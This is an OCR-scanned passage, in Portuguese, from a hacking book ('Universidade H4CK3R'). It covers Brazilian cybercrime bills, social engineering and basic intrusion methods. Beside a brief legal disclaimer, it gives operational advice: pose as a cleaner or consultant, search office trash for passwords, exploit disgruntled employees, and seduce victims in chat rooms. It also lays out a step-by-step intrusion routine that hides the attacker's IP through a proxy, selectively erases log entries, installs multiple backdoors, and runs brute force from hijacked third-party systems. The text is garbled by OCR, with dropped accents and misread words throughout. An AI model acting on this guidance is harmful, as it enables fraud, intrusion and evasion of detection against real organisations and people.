Os povos latinos, europeus, ali'icanos e asiticos tm essa noio de bom senso: mdocina.t primeiro at encontrar" uma soluio lgica, usando a sabedoria popular. J o common sense tem uma conotao dikrente:usaras convenes j prontas presentesna cultura estadunidense,sem "parar paIa pensar".Portanto, bom senso igual a pensatantes de agir.J common sense sinnimo de idia pr<:oncebida...
1114
Fundamentos
Jurdicos
Universidade 1ano
o grande tnrnfo dos hackers brasileiros a falta de legislao apropriada para lidar com os crimes eletrnicos. A falta de leis especficas torna o Brasilrun verdadeiro paraso para todo o tipo de invaso e manipulao ilcita de dados. As punies aplicadas so baseadas em leis que se aproximam da situao do crime eletrnico. Grande parte dos casos resolvidos pelas autoridades nacionais relativa a casos de pirataria e pedoftlia, e no invaso e "hackeamento" de sistemas. A falta de proteo legal preocupa muito o governo e as grandes empresas, pois estas so obrigadas a gastar quantias elevadas de dinheiro com softwares e equipamentos para garantir a segurana de seus dados, e mesmo assim no conseguem evitar a ao dos vndalos digitais. Preocupados com a situao, vrios deputados formularam projetos de lei para deter a ao dos invasores. Mas devido ao lento processo de aprovao, total ignorncia dos parlamentares em relao ao assunto e s diversas correes e alteraes que devem ser feitas at que tudo esteja adequado, os hackers podem continuar utilizando suas habilidades para continuar suas pesquisas. A seguir, temos run trecho especfico do projeto de lei criado pelo deputado Dcio Braga que trata dos crimes de informtica:
A legislao brasileira
Fundamentos
Jurdicos
I Universidade
H4CK3R
Pena: deteno de seis meses a um ano e mu1ta. Pargrafo primeiro. Na mesma pena incorre quem, sem autorizao ou indevidamente, obtm, mantm ou fornece a terceiro qualquer meio de identificao ou acesso a computador ou rede de computadores. Pargrafo segundo. Se o crime cometido: I - com acesso a computador ou rede de computadores da Unio, Estado, Distrito Federal, Municpio, rgo ou entidade da administrao direta ou indireta ou de empresa concessionria de servios pblicos; II - com considervel prejuzo para a vtima; 111- com intuito de lucro ou vantagem de qualquer espcie, prpria ou de terceiro; IV - com abuso de confiana; V - por motivo ftil; W - com o uso indevido de senha ou processo de identiflcao de terceiro; ou WI - com a utilizao de qualquer outro meio fraudulento. Pena: deteno de um a dois anos e multa. Alterao de senha ou mecanismo de acesso a programa de computador ou dados Art. 10.Apagar, destruir, alterar, ou de qualquer forma inutilizar, senha ou qualquer outro mecanismo de acesso a computador, programa de computador ou dados, de forma indevida ou no autorizada. Pena: deteno de um a dois anos e multa. Obteno indevida ou no autorizada de dado ou instmo de computador Art. 11. Obter, manter ou fornecer, sem autorizao ou indevidamente, dado ou instruo de computador. Pena: deteno de trs meses a um ano e mu1ta. Pargrafo nico. Se o crime cometido: I - com acesso a computador ou rede de computadores da Unio, Estado, Distrito Federal, Municpio, rgo ou entidade da administrao direta ou indireta ou de empresa concessionria de servios pblicos; 11- com considervel prejuzo para a vtima; 111- com intuito de lucro ou vantagem de qualquer espcie, prpria ou de terceiro; IV - com abuso de confiana; V - por motivo ftil; W - com o uso indevido de senha ou processo de identiflcao de terceiro; ou WI - com a utilizao de qualquer outro meio fraudu1ento. Pena: deteno de um a dois anos e mu1ta.
1116I
Fundamentos Jurdicos [
Universidade 1ano
Violao de segredo armazenado em computador, meio magntico de natureza magntica, ptica ou similar. Art. 12. Obter segredos, de indstria ou comrcio, ou informaes pessoais armazenadas em computador, rede de computadores, meio eletrnico de natureza magntica, ptica ou similar, de forma indevida ou no autorizada. Pena: deteno de um a trs anos e multa. Criao, desenvolvimento ou insero em computador de dados ou programa de computador com fins nocivos Art. 13. Criar,desenvolver ou inserir, dado ou programa em computador ou rede de computadores, de forma indevida ou no autorizada, com a fmalidade de apagar, destruir, inutilizar ou modiflcar dado ou programa de computador ou de qualquer forma diflcultar ou impossibilitar, total ou parcialmente, a utilizao de computador ou rede de computadores. Pena: recluso de um a quatro anos e multa. Pargrafo nico. Se o crime cometido: I - contra interesse da Unio, Estado, Distrito Federal, Municpio, rgo ou entidade da administrao direta ou indireta ou de empresa concessionria de servios pblicos; 11- com considervel prejuzo para a vtima; III - com intuito de lucro ou vantagem de qualquer espcie, prpria ou de terceiro; IV - com abuso de confiana; V - por motivo ftil; VI- com o uso indevido de senha ou processo de identiflcao de terceiro; ou VII - com a utilizao de qualquer outro meio fraudulento. Pena: recluso de dois a seis anos e multa. Veiculao de pornografia atravs de rede de computadores Art. 14. Oferecer servio ou informao de carter pornogrfico, em rede de computadores, sem exibir, previamente, de forma facilmente visvel e destacada, aviso sobre sua natureza, indicando o seu contedo e a inadequao para criana ou adolescentes. Pena: deteno de um a trs anos e multa. Como podemos notar, o projeto abrangente, lidando com assuntos que vo desde invases at a criao de vrus e programas que possam danificar dados alheios. Com certeza, a "nao hacker" teria a maioria dos seus atos coibida caso a lei estivesse em vigor. Mas, alm do processo de aprovao da lei, o governo tem de prover condies para que elas sejam executadas.
1117I
] Fundamentos
Jurdicos
I Universidade
Fundamentos Jurdicos[
Universidade 1ano
Na Europa
A maior parte dos grupos europeus tomou medidas semelhantes s dos Estados Unidos. Todas baseadas no rastreamento de informaes pessoais sem qualquer aviso prvio, dando poder aos seus agentes de vasculhar as caixas de mensagens de qualquer provedor. A adoo do padro norte-americano mostra mais uma vez que o mundo est prximo de estabelecer uma forte estratgia de combate aos cibercrimes, o que vai prejudicar muito a ao dos vndalos digitais. Como efeito colateral, ferir tambm alguns direitos e a privacidade de cidados reconhecidamente inocentes ("Mate todos! Um deles terrorista...").
o russo
o programador russo Dmitry Sklayrov foi acusado de comercializar uma ferramenta que quebra as medidas de segurana do programa Adobe Book Reader logo aps dar uma palestra sobre segurana na DefCon em julho de 2001. O Advanced eBook Processor pode quebrar a senha de segurana criada pela Adobe, transformando um e-book criptografado em um simples PDF.Ele foi enquadrado na lei que visa a proteo do direito intelectual para os produtos digitais, o Digital Millenium Copyright Act, dispositivo horrendo e nazista mais conhecido como DMCA. A parte mais estranha que a prpria Adobe decidiu retirar as acusaes. As crticas internacionais e as ameaas de boicote foram os principais motivos que fizeram com que a empresa fizesse uma reviso de conscincia. Apesar disso, a situao de Dmitry no melhorou em nada, pois o governo americano no retirou as acusaes. Aps pagar uma multa de US$ 50 mil e ficar detido na Califrnia por cinco meses, o russo obteve a liberdade por meio de um acordo em que apoiaria o governo norte-americano. A condio imposta foi a de ficar sob observao durante um ano, e s ento ele seria absolvido completamente.
1119
I
Fundamentos
Jurdicos
I Universidade
H4CK3R I
1120
I
Jurdicos r
Fundamentos
Engenharia 8
Gela
Captulo
Pink Floyd,"Dogs
For hard cash we wil! fie and deceive. And even our masters don 't know the webs we weave "7 of War"
"Por
dinheiro
g-rosso
nos
InentireulOs
eng-anareInos.
E nem
Do tilbum A Momentary
Lapse of Ileason,1987
I Universidade H4CK3R I
Este captulo bem curto, se comparado com os outros, menos tcnicos. Tambm aparentemente o mais distante do que se espera de um livro como este. Mas no se engane: as informaes aqui contidas so as mais importantes de todo o livro. Um ataque muito complicado pode se transformar em algo simplssimo, caso a engenharia social seja empregada. Portanto, antes de quebrar a cabea com solues puramente tecnolgicas, pense primeiro que enganar o alvo e faz-Iotrabalhar para voc pelo lado de dentro muito mais rpido. O objetivo das tcnicas aqui apresentadas a aquisio de informaes vitais sobre o alvo escolhido. Por informaes vitais, alm das bvias como dados fmanceiros, pessoais e hierrquicos, entende-se as idiossincrasias tcnicas e polticas da empresa: instalaes fisicas e lgicas, topologias de rede, polticas de senhas e chaves de criptografia. O termo engenharia social pode parecer num primeiro momento algo distante do universo hacker. Basicamente, significa a "garimpagem" de informaes vitais sobre uma determinada pessoa, empresa, produto ou organizao. Essas informaes so provenientes quase sempre de pessoas prximas ao indivduo a ser atacado ou do prprio quadro de funcionrios e clientes - no caso de empresas. Dessa forma, podemos encarar o termo como sinnimo de espionagem, que utiliza tticas que vo desde cartas e telefonemas, passando por pesquisas nos depsitos de lixo at a abordagem pessoal. As tcnicas de engenharia social exigem uma preparao psicolgica profunda e contnua. O candidato a invasor deve estar pronto para estudar o comportamento do seu alvo e entender melhor seu modus operandi, incluindo at o monitoramento de horrios. Mesmo com investimentos pesados na rea de segurana, grande parte das empresas (seno todas) no est preparada para lidar com esse fator. Lembre-se de que o espio usar a boa vontade, a cortesia, a ingenuidade das pessoas e mesmo as normas da empresa para enganar as vtimas.
O mundo da engenharia social parece ser algo muito tentador. Mas, diferente dos crimes digitais, que no possuem uma legislao bem definida no pas, todas as tcnicas citadas so consideradas crimes passveis de punio, que vo desde o pagamento de multas at a deteno. A interpretao legal baseia-se na configurao dos atos de engenharia social como falsidade ideolgica, caracterizada pela incorporao de uma identidade alheia (impostura) seguida de fraude. Dependendo do destino dado s informaes recebidas (por exemplo, em caso de fraude financeira), o invasor responder tambm pelo crime de estelionato. O propsito deste captulo demonstrar superficialmente as tcnicas utilizadas na engenharia social. importante que todos conheam essas tcnicas, mas no recomendamos a ningum utiliz-Ias: pelas leis brasileiras e da maioria dos pases elas so consideradas prticas criminosas, com punies bem severas.
11241
Engenharia Social[
Universidade 1Ano
Tipos de ataque
Existem basicamente dois tipos de ataques: o direto e o indireto. A eficincia deles depende das habilidades pessoais do hacker e do quanto ele se identifica com os processos. Normalmente, necessrio utilizar uma combinao de ambos para obter o resultado desejado. Para chegar abordagem direta, o invasor deve ter conseguido uma bela coleo de informaes obtidas de modo indireto. S assim poder "saber do que est falando" quando abordar um funcionrio do teleatendimento para conseguir uma senha de acesso ao sistema ou enviar aquele fax dizendo que o gerente da filial solicitando informaes.
Ataque indireto
o ataque indireto consiste na utilizao de ferramentas de invaso (como cavalos de tria e sites com cdigo malicioso) e de impostura (como cartas, e-mails e sites falsos com a aparncia dos verdadeiros) para obter informaes pessoais. Os usurios individuais de quem o hacker extrai os dados so apenas vetores para a coleta de informaes de uma entidade maior - empresa, organizao ou governo. Sua inteno no atacar cada um desses usurios, e sim o organismo maior ao qual elas pertencem.
Ataque direto
So caracterizados pelo contato pessoal. Geralmente so feitos por fax ou telefone (embora hackers mais confiantes ousem faz-Ios pessoalmente...) e exigem planejamento detalhado e antecipado, vrios planos de emergncia para cada uma das fases do ataque previamente planejadas e um pouco de dom artstico. Sim, um bom invasor tem a obrigao de ser bom ator. Este deve ser bem articulado para que seu plano no seja desmascarado, e tambm ter raciocnio rpido para encontrar sadas caso algo fora do planejado d errado.
Mtodos utilizados
bvio que todo esse falatrio sobre ataques diretos e indiretos extremamente vago. Na prtica, existem algumas tticas simples que devem ser usadas na elaborao do procedimento de ataque. As principais armas de um engenheiro social podem ser divididas em dois grandes grupos: pesquisa e impostura. Comecemos pela pesquisa. A aquisio de material, como relatrios anuais e lista de pagamento, pode dar uma tima viso da hierarquia adotada na empresa. Isso ajuda muito na hora da seleo dos alvos pontuais (lembre-se: um pedacinho de informao extrado de cada usurio resulta em um bolo valiosssimo quando reunido s outras pequenas informaes extradas dos outros usurios). O hacker pode descobrir quem detm o material necessrio para a invaso e outras informaes importantes para o ataque, como departamento em que a pessoa trabalha, softwares utilizados, sistema operacional, hardware e sistemas empresariais.
1125 I
Social
] Engenharia
I Universidade H4CK3R I
Observe que nem sempre os dados teis esto escritos: uma anlise dos resultados de sua busca, compreendendo combinaes e cruzamento de informaes, importantssima. "Ler nas entrelinhas" nunca foi to necessrio... Mesmo assim, a pesquisa s o comeo. Depois de descobrir quem guarda as informaes e quais so elas, o hacker deve pensar nos meios que utilizar para extrair mais dados. nesse ponto que entra a impostura: o hacker deve se fazer passar por outras pessoas (seja da prpria empresa, seja clientes, fornecedores, seja at agentes do governo) para, de posse das informaes j "garimpadas", angariar dados e documentos mais srios, especficos e, principalmente, valiosos. A seguir vamos falar sobre mtodos utilizados para a aquisio de dados vitais das empresas, tanto em ataques diretos quanto indiretos.
Disfarces
Como um bom espio, o engenheiro social deve dispor de diversos disfarces para alcanar seus objetivos. Entre eles devem constar desde se passar por faxineiro at consultor em visita. Certas empresas adoram receber consultores de empresas famosas. Para tanto, basta apenas que o hacker tenha um terno, boa lbia e um crach. O fator idade no mais um problema to grande, pois o perfIl do profIssional de informtica cada vez mais jovem, basta apenas tratar um pouco da aparncia e da linguagem a ser utilizada. A incorporao do personagem um fator de grande importncia para o sucesso. Imagine um hacker disfarado de faxineiro. Ele simplesmente no vai andar at a lata de lixo, separar os papis de seu interesse e virar as costas, ser at estranho se ningum suspeitar. Ele deve fazer todo o servio desde limpar a mesa at varrer o cho, conseguindo mais oportunidades para entender o que acontece ao seu redor. Depois de um certo tempo, as pessoas passam a confIar mais e o invasor pode tranqilamente limpar as mesas repletas de material importante para o desenvolvimento de um ataque bem-sucedido.
o Lixo rico!
o lixo de um escritrio , potencialmente, uma das maiores fontes de informaes para o hacker. Geralmente nele que as pessoas jogam aqueles pedaos de papis em que anotam suas senhas antes de memoriz-Ias ou transcrever para uma agenda. Alm disso, o lixo de uma grande empresa recebe dezenas de relatrios que podem parecer banais mas que, na verdade, guardam informaes sobre o patrimnio da empresa, funcionrios cadastrados e aspectos dos sistemas. A falta de preocupao s com esse fator isolado pode render uma invaso bem-sucedida e ainda ajudar o invasor a limpar seus rastros. Muitas vezes, ele mesmo pode estar l para recolher o lixo da sala do administrador. Obviamente, isso depende muito da percia do hacker e do quanto ele realmente precisa das informaes, caso contrrio, ele pode esperar at que o material seja posto para coleta, o que no seria muito recomendado.
1126 I
Engenharia SocialI
Universidade 1Ano
Funcionrios
descontentes
e redes de contatos
Talvez seja a fonna mais fcil de conseguir infonnaes dentro de uma empresa. Muitas vezes POde rustar um certo valor (nem sempre em dinheiro...), mas isso vai dePender do teor de insatisfao do fundonrio para com a empresa em questo. Explorar a ftagilidade de pessoas insatisfeitas com as condies de trabalho muito mais simples do que POdemos imaginar. muito fcil para o administrador insatisfeito com o salrio falar algo que possa prejudicar seus superiores de alguma fonna. Nem sempre eles so teis aps sarem ou serem demitidos, pois a poltica das empresas a de trocar as senhas. No se deve esquecer que os funcionrios de uma empresa possuem uma rede de contatos, dentro e fora dela. Isso tambm vlido para os descontentes, que podem fornecer ao hacker informaes valiosas sobre outras pessoas e sobre caminhos para chegar a mais dados.
o apelo sentimental
o invasor pode incorporar outra pessoa, com muito mais facilidade, no mundo virtual.Vamos supor que o hacker quer invadir um computador qualquer na Internet. Ele procura uma sala de chat e observa silendosamente a conversa por um tempo. Depois, sai da sala e entra novamente com algum apelido do sexo oposto ao da vtima escolhida. A partir desse ponto fcil conquistar a confiana do internauta e ganhar acesso aos seus dados pessoais mais importantes, usando apenas as tcnicas de seduo e conquista que todos ns conhecemos e que, mesmo assim, fundonam. Observe que homens e mulheres possuem maneiras diferentes de serem conquistados e seduzidos.
Programao
neurolingstica
Ao se comunicar com qualquer pessoa, possvel utilizar tcnicas de programao neurolingstica para confundir a pessoa e faz-la concordar com voc. Consegue-se isso de diversas formas, sendo a mais bvia (e que funciona em quase 100% dos casos) fazer com que a vtima acredite que na realidade a idia foi dela. Uma das tcnicas para
hacker imita o jeito de escrever, de falar e at a gesticulao de seu interlocutor. Faz isso
A utilizao da Internet
Uma forma eficaz de conseguir as informaes desejadas atravs de formul-
rios e cadastros na Internet. Sites que oferecem brindes para quem se cadastrar e promoes que prometem os mais variados tipos de prmios podem no passar de instrumentos utilizados pelos hackers para conseguir uma vasta quantida-
te para a obteno de nmeros de cartes de crdito e dados como CPF e RG. 11271
] Engenharia
Social
I Universidade
H4CK3R I
o fator sorte
H muitos casos em que os procedimentos de engenharia social so facilitados por descuidos dos usurios e dos administradores do parque de informtica das empresas. s vezes, mesmo empresas muito seguras deixam escapar uma, e apenas uma, informao no bvia. Se o hacker tiver a sorte de tropear nessa informao, seu processo de engenharia social poder ser abreviado em vrios dias, s vezes semanas. Oreille attentive et bon vouloir!2
Casos reais
Os hackers listados nesta "galeria da fama" ganharam notoriedade por seus ataques muito bem engendrados e pelas somas fabulosas em dinheiro que foram capazes de movimentar. Mas lembre-se: hackers, quando so realmente bons, no so apanhados...
Abraham Abdallah
Em 2002, o hacker e.lavador de pratos Abraham Abdallah recebeu acusaes de fraudes da ordem de US$ 80 milhes. Utilizando-se da revista Forbes, que publicou uma lista com as 400 pessoas mais ricas dos EUA,ele roubou o nmero de diversos cartes de crdito de pessoas famosas. Utilizando tcnicas de engenharia social, Abdallah enganou bancos e empresas de crdito para conseguir as informaes para o seu golpe. Chegou a montar uma rede de caixas postais para receber as encomendas que fazia com o dinheiro roubado. Foi descoberto pela polcia ao tentar retirar uma quantia acima do saldo existente de Thomas Siebel, fundador da empresa de e-commerce chamada Siebel Systems.
2 "Orelha atenta e boa vontade"" - expresso muito empregada no texto As Mil e Uma Noites Narrativas de Sabedoria (Les Mille et Une Nuits - Rcits Sapientiaux. Traduo para o francs de Ren R. Khawam, ditions Albin Michel, Frana). O original em rabe impronuncivel para os ocidentais.
1128 I
Engenharia Social [
Universidade 1Ano
Kevin Mitnick
Kevin Mitnick j foi um dos criminosos mais procurados pelo FEI,devido aos crimes digitais que cometeu. Aps ganhar a liberdade, ajudou a fundar uma empresa de consultoria especializada em segurana, a Defensive Thinking. Esse um fato que chega a surpreender muito, pois Mitnick tomou-se um smbolo da engenharia social ao planejar e realizar seus ataques aos sistemas de grandes empresas pelo mundo. Ele usou as artimanhas da engenharia social pela primeira vez nos anos 70, ao conhecer um estudante que lidava com "phreaking" (o hackeamento de linhas telefnicas). Ele percebeu como os phreakers agiam, fazendo-se passar por llllcionrios das companhias telefnicas. Comeou a tentar com amigos e professores e sentiu-se motivado aps notar que tinha facilidade em conseguir informaes confidenciais. Ele foi evoluindo suas tticas at o ponto em que nenhuma empresa estava mais segura contra os seus ataques. Sua lista de ataques inclui desde telefonemas inocentes ao setor de suporte at a incorporao de funcionrios importantes para conseguir informaes como senhas para obter acesso a grandes sistemas da empresa. Dessa forma, Mitnick tornou-se uma lenda para a populao hacker ao redor do mundo. Alm desses, podemos citar, com louvor, outros hackers que se utilizaram de engenharia social para atingir seus objetivos: ~ O polons VIadimir Levin, que desviou mais de dez milhes de dlares de contas no CityBank; ~ Raphael Gray,que roubou quase 30 mil cartes de crdito nos Estados Unidos e, com um deles (que ele alega ser de Bill Gates), comprou uma caixa de Viagra e a remeteu ao prprio; ~Jerome Heckenkamp, ingls de 22 anos, que pediu ao juiz para ser preso depois de invadir sites como o eBay,Lycos e eTrade; Poderamos preencher completamente este livro citando diversos hackers famosos (inclusive brasileiros). Apenas estes exemplos, entretanto, mostram como as estruturas de segurana, que j so ruins no campo tecnolgico, ficam piores quando o fator humano entra em campo.
1129 I
] Engenharia
Social
Vu lnera bilidad es
Captulo
"!
The one who searches and destroys Look out honey, 'cause /'m using technology Ain 'tgot time to make no apology"i The Stooges, "Search and Destroy"
J "Eu sou um g'aroto esquecido pelo mundo / Aquele que vasculha e destroi / Estou usando tecnoJog'ia / E por isso no tenho tempo para me desculpar': Do album Ilaw Power. 1973.
I Universidade
H4CK3R
Imagine uma nao como os Estados Unidos da Amrica. Forte, rica, militarmente imbatvel, tecnologicamente muito frente de qualquer outra. muito difcil imaginar que uma nao como essa perca uma guerra sendo travada em algum pas distante. Mesmo que, por algum motivo, perca tal guerra, os dispositivos nacionais de defesa nunca deixariam que um ataque qualquer (militar ou terrorista) chegasse perto das fronteiras do pas. Certo? Bem, 11 de setembro deixou claro que ningum pode prever tudo. Os terroristas atacaram por onde foi mais fcil, usando pessoas comuns - cidados americanos - e atuando em pontos reconhecidamente vunerveis - a fraca segurana dos aeroportos. Quem poderia imaginar que avies comerciais seriam usados como msseis para derrubar as torres do World Trade Center em Nova York? Se pensarmos bem, a idia to insana que chega a ser genial (do ponto de vista dos terroristas, obviamente): foi deveras fcil causar todo aquele dano. Administradores de sites e de redes e mesmo ns, usurios comuns de informtica, temos o mesmo dilema. Aplicamos correes de segurana liberados pelos desenvolve dores dos programas que usamos, instalamos flrewalls, antivrus, removedores de trojans e toda uma parafernalha tecnolgica para descobrir, depois de alguns dias, que no adiantou nada: bastou um garoto de 12 anos com muita vontade e ms intenes para invadir nossos sistemas e fazer um belo estrago. Infelizmente mesmo o usurio leigo deve se preocupar com a segurana de suas informaes e sistemas de informtica. Hoje no basta trocar a fechadura da porta: se o seu forro for de madeira, os ladres entram pelo teto. Assim como devemos modillcar (desflgurar?) nossas casas para torn-Ias mais seguras, temos de estar atentos a todos os buracos no bvios que os programas os quais usamos apresentam para os terrveis chapus pretos2.
o estudo das vulnerabilidades existentes deve fazer parte da rotina do bom hacker (err... do mau tambm...). Diariamente, listas de discusso e sites especializados liberam listas e mais listas de falhas em sistemas operacionais e servidores. Considerando que, se voc est lendo este livro e est neste captulo, voc est querendo aprender. Utilizar-sede tcnicas j conhecidas e divulgadas o trampolim para, no futuro, descobrir essas vulnerabilidades antes dos organismos de defesa. Mesmo um hacker experiente tem de estar atento a essas listas, caso algum usurio queira facilitar seu trabalho e deixar seu computador desatualizado.
2 No captulo 1, Psicologia Hacker, vimos diversos tipos de hackers divididos por habilidade. Mas o grande universo do submundo digital pode ser dividido, sem levar em conta as habilidades individuais, entre a comunidade do bem e a legio do mal. Os do primeiro tipo so chamados de chapus brancos, ou white hats. J os malidosos se autodenominam chapus pretos, ou black hats. H os que trabalham no limiar dos dois tipos e so chamados de grey hats (chapus cinzas). Em tempo: a Red Hat, Ine. (www.redhat.com) no tem nada com isso...
1132 I
Vulnerabilidades I [
Universidade 1 ano
Normalmente, h trs tipos de fafuas que podem ser exploradas: 1. Fafuas que afetam a disponibilidade da mquina ("tir-Ia do ar"). Isso pode ser feito de diversas maneiras, uma delas (mas no a nica) a negao de servio (ou DoS). 2. Falhas que permitem o acesso limitado ao sistema. o que comumente chamamos de "invaso". Nela incluem-se fafuas do software e falhas de configurao (ou seja, humanas).As falhas de software mais comuns podem ser exploradas diretamente ou por algum tipo de estouro de pilha (o famigerado buffer overflow). J a falha humana mais comum instalar o sistema e no aplicar as atualizaes e patches recomendados pelo fabricante. Tambm comum deixar as contas-padro do sistema (administrador, root, bin, operator, sysop... a lista grande) ativas ou com as senhas default.
Superlammers
Qualquer falha de segurana possui caractersticas nicas. Cada sistema operacional e cada programa autnomo apresenta as suas, mas grande parte das vulnerabilidades permite o acesso a reas consideradas restritas de servidores e computadores pessoais - trocando em midos, toda estrutura de diretrios de todos os discos rgidos. O grande problema dos lammers que eles no tm a mnima idia do que esto fazendo. E nem querem ter: basta encontrar algum site desprotegido, desfigur-Ioe gozar dos seus cinco minutos de fama. Com seus conhecimentos limitados, normalmente usam uma abordagem de trs estgios para direcionar seus ataques: 1. Busca por computadores vulnerveis Lammers normalmente no possuem um objetivo definido. No esto atrs de prejudicar aquela companhia ou roubar o dinheiro daquele banco. Pelo contrrio, vasculham a Internet atrs de computadores (seja servidores, seja pessoais) que estejam vulnerveis aos poucos tipos de ataque que eles conhecem. Para tanto, utilizam-se de ferramentas conhecidas como scanners, que, aps forne-
1133 I
] Vulnerabilidades
I Universidade
H4CK3R I
cer um conjunto de mquinas a ser testado, retomam listas s que estiverem desprotegidas. Como possvel colocar faixas inteiras de endereos de Internet neles, essas listas podem chegar a centenas de computadores e sistemas. 2. Invaso e posse Mas descobrir as vulnerabilidades no o suficiente para executar um ataque. Uma vez encontrado o alvo fcil, os script-kiddies (outro nome dado aos lammers) utilizam-se de outras ferramentas para explorar os buracos encontrados. Normalmente, nossos garotos tm em mos uma biblioteca razovel de exploits scripts e programas utilizados para "desfrutar" das fraquezas da vtima - para que sua descoberta no seja em vo. H exploits para "derrubar" a mquina-alvo e para control-Ia.Aplicado o exploit apropriado, o lammer "owna"3 o sistema e faz o que quer com ele. 3. Manuteno do ataque O lammer sabe que sua glria durar pouco e, portanto, instala no computador invadido programas que lhe permitam voltar l, mesmo que o buraco por onde entrou seja obstrudo. Chamados de backdoors - literalmente, porta de trs -, so rotinas extremamente simples e eficientes que, utilizando os recursos do prprio sistema operacional, permitem ao invasor conectar-se posteriormente ao sistema. comum instalar mais de um backdoor, e kiddies mais sofisticados chegam ao cmulo de instalar entre eles algum facilmente detectvel. Isso confunde o administrador da mquina, fazendo-o acreditar que resolveu o problema removendo apenas aquele. Note que este livro tem a inteno de apresentar a porta de entrada desse submundo ao leitor. Nenhum livro, publicao, site ou FAQna Internet ensinar ningum a ser hacker, pois isso depende de anos de estudo, evoluo contnua e abnegao. Neste captulo, vamos estudar algumas ferramentas e falhas de segurana mais comuns em micros domsticos e como explor-Ias da forma mais eficaz. Obviamente, aqui ainda estaremos no terreno dos lammers. Mas mesmo sendo procedimentos tecnicamente simples, veremos que no so nada incuos.
11341
Vulnerabilidades Ir
Universidade 1 ano
dos. So destinados a ataques a redes de empresas, mas possvel adapt-Ios para atacar computadores pessoais solitrios, tambm. 1. Uma vez descoberta a vulnerabilidade, no tente invadir sua presa imediatamente. Ao contrrio, conhea sua vtima. Visite seu site na Internet (sem atacar, apenas olhe). Se for na sua cidade, visite sua sede e tente descobrir mais sobre produtos, empregos, servios, funcionrios, hbitos... Podem-se usar tcnicas passivas (observao para ver o que entra e o que sai da mquina ou rede) ou ativas, como organizar miniataques a pontos isolados e verificar as mensagens que so retornadas. O importante coletar informaes suficientes para elaborar um plano de ao, preferencialmente com desfechos alternativos, caso algo d errado. 2. O primeiro acesso a gente nunca esquece. Essa a parte mais importante do ataque. Pode-se dizer que esta etapa o ataque propriamente dito. Depois de des- . coberta a vulnerabilidade e examinado o comportamento da vtima, use o exploit apropriado para ganhar acesso limitado ao sistema. E no se esquea de usar um proxy pblico para esconder seu endereo IP!!! 3. Humm. Uma vez com acesso limitado, a prxima etapa consiste em ganhar acesso total mquina (root para sistemas Unix, administrador para sistemas WinNT - no Win9x, o primeiro acesso j garante controle totaL). Cada SO possui procedimentos diferentes para tal. Uma vez conseguido o acesso irrestrito, basta coletar as informaes desejadas e, se for o caso, desfigurar o sistema. 4. Agora que voc j "ownou" o sistema, trate de cobrir seus rastros e instalar as portas de trs. Verifique os logs do sistema e apague tudo o que for relativo sua visita, MASAPENASISSO! Resista tentao de apagar o log todo - um "buraco" no registro de eventos far com que o administrador descubra mais cedo do que o esperado que algum andou bulindo com seu brinquedo. Depois de fazer a cirurgia nos logs, instale os backdoors. Alguns hackers mais experientes tm o cuidado de aplicar patches no sistema para remover as portas que os deixaram entrar, evitando assim que outros hackers menos habilidosos entrem no sistema e, por descuido, alertem o administrador de que a mquina foi tomada. Alguns dos passos devem ser repetidos, especialmente o 2. Em alguns casos ser preciso fazer diversos miniataques "1 2 3 4", "1 2 3 4", at que todas as brechas tenham sido encontradas e exploradas. Obviamente estamos falando de sites e computadores frouxamente monitorados: tenha sempre em mente que muitos sistemas possuem IDS (Intrusion Detection Systems), que detectam scans e auditam os logs do sistema (o que voc apaga guardado em outro log escondido...), aumentando assim a possibilidade de voc ser pego. H ainda os sistemas chamados de Honeypots, que apresentam ao invasor uma aparncia de sistema vulnervel, mas, na realidade, o conduzem para uma armadilha. Ningum quer ir para a cadeia e, mesmo que no haja implicaes penais desse tipo, ser pego sempre , no mnimo, desagradvel e desabonador. Alguns cuidados devem ser, portanto, seguidos para que o invasor possa desfrutar de sua presa sem ser importunado.
1135 I
I
]Vulnerabilidades
I Universidade H4CK3R I
Logins fracos
No h necessidade de ferramenta alguma, se quem instalou o software j fez o servio para voc. Todos os sistemas possuem algumas contas-padro j configuradas antes de o sistema ser instalado (ou seja, j na mdia de instalao). obrigao de quem est preparando uma mquina para utilizao real saber quais so essas contas e mudar as senhas das que sero usadas, desabilitando as restantes. Tristemente, vemos diversos "administradores" por a que recebem seus Windows 2000 e seus Unix diretamente do fornecedor e no se preocupam em fazer uma anlise de segurana antes de colocar o equipamento em produo. Para quem quer brincar de hacker, sistemas assim so um prato cheio. Mesmo que as senhas sejam alteradas, saber que tais contas existem pode ser um facilitador para o script kiddie, uma vez que metade da dupla j conhecida, faltando apenas adivinhar a senha. No CD, reunimos diversos conjuntos login/senha comuns, vlidos para a maioria dos sistemas operacionais. Esto em formato texto e podem ser utilizados como listas de palavras em quebradores de senhas. Logins cujas senhas no so mostradas na lista so contas que existem mas para as quais no h uma senha-padro consagrada. Experimente essas combinaes em sistemas conhecidos seus. H sistemas nos quais voc, por engenharia social, j conhece algumas contas, falta tentar alguma senha. Na maioria dos casos, uma das palavras da lista acima usada como senha por algum.
1136 I
Vulnerabilidades I [
Universidade 1 ano
o brote force seguramente o mtodo mais deselegante de tentar uma invaso por login e senha. Voc pode fazer brote force no computador do seu irmo, em casa, para descobrir as senhas dos arquivos Excel ou PDF,por exemplo. Ou pode tentar, via Internet, entrar naquele site de sexo com uma dupla usurio/senha existente, em vez de buscar quebrar a segurana do site por outras vias. Tambm pode experimentar entrar na rea restrita da rede de sua empresa. De qualquer forma, o brote force deselegante, facilmente detectvel e, em sistemas bem configurados, incuo. No exemplo do site, um sistema de controle de acesso bem-feito cancelaria o usurio ou travaria o login por um tempo determinado, caso mais de trs tentativas sem sucesso fossem feitas. Em situaes de war-dialing, necessrio discar para o modem no qual se quer penetrar para cada tentativa de brote force, o que o toma dispendioso em termos de dinheiro e tempo. Entretanto, h casos (normalmente os mais difceis) em que o brote force a nica sada. H um outro mtodo parecido, que pode ser considerado um brute force inteligente: os ataques por dicionrios. Utilizam-se listas de palavras comuns: nomes prprios, marcas conhecidas, grias, nomes de canes, f1lmes...Os softwares modernos de fora brota empregam ambos os processos, tentando primeiro a lista de palavras para depois aplicar as combinaes seqenciais do brote force "primitivo". Obviamente, o brote force um procedimento perigoso. Um administrador de sistemas seguramente perceber que os logs de falhas de login crescem assustadoramente, e que todas as tentativas vm de um nico IP.Um paleativo colocar uma espera de alguns minutos entre uma tentativa e outra, mas isso vai retardar ainda mais um processo que, normalmente, pode durar vrios dias ou mesmo semanas. O procedimento mais sensato invadir vrios sistemas sem importncia e disparar o brote force a partir deles (obviamente, sempre se lembrando de apagar seus rastros). Hackers mais experientes sabem que as listas de palavras devem ser customizadas para cada alvo, e que, para ser considerada boa, uma lista deve conter 